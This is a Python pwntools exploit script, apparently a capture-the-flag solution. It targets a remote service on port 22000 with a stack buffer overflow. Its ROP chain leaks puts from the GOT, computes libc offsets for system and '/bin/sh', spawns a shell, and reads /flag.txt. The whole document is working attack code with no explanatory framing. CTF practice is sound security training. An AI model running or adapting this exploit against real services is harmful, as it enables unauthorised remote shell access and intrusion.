from pwn import *
import sys

context.arch = 'amd64'

HOST = sys.argv[1]
PORT = 22000

def conn():
    return remote(HOST, PORT, level='warn')

def main():
    global r
    r = conn()
    r.recvline()

    junk = b"A" * (0x40 + 8)
    pop_rdi = p64(0x401243)
    plt_puts = p64(0x401060)
    got_puts = p64(0x403fd8)
    main_addr = p64(0x4011a9)
    ret = p64(0x40101a)

    payload = junk + pop_rdi + got_puts + plt_puts + main_addr
    
    r.sendline(payload)
    leak = u64(r.recvline(False).ljust(8,b"\x00"))
    libc = leak - 0x84420
    system = libc + 0x52290
    binsh = libc + 0x1b45bd
    # print(f"puts @ {hex(leak)}")
    # print(f"system @ {hex(system)}")
    # print(f"binsh @ {hex(binsh)}")

    payload = junk + ret + pop_rdi + p64(binsh) + p64(system) + main_addr
    r.sendline(payload)
    r.sendline(b"echo 1337")
    r.recvuntil(b"1337")
    r.sendline(b"cat /flag.txt")
    print(r.recvuntil(b'}').decode().strip())

main()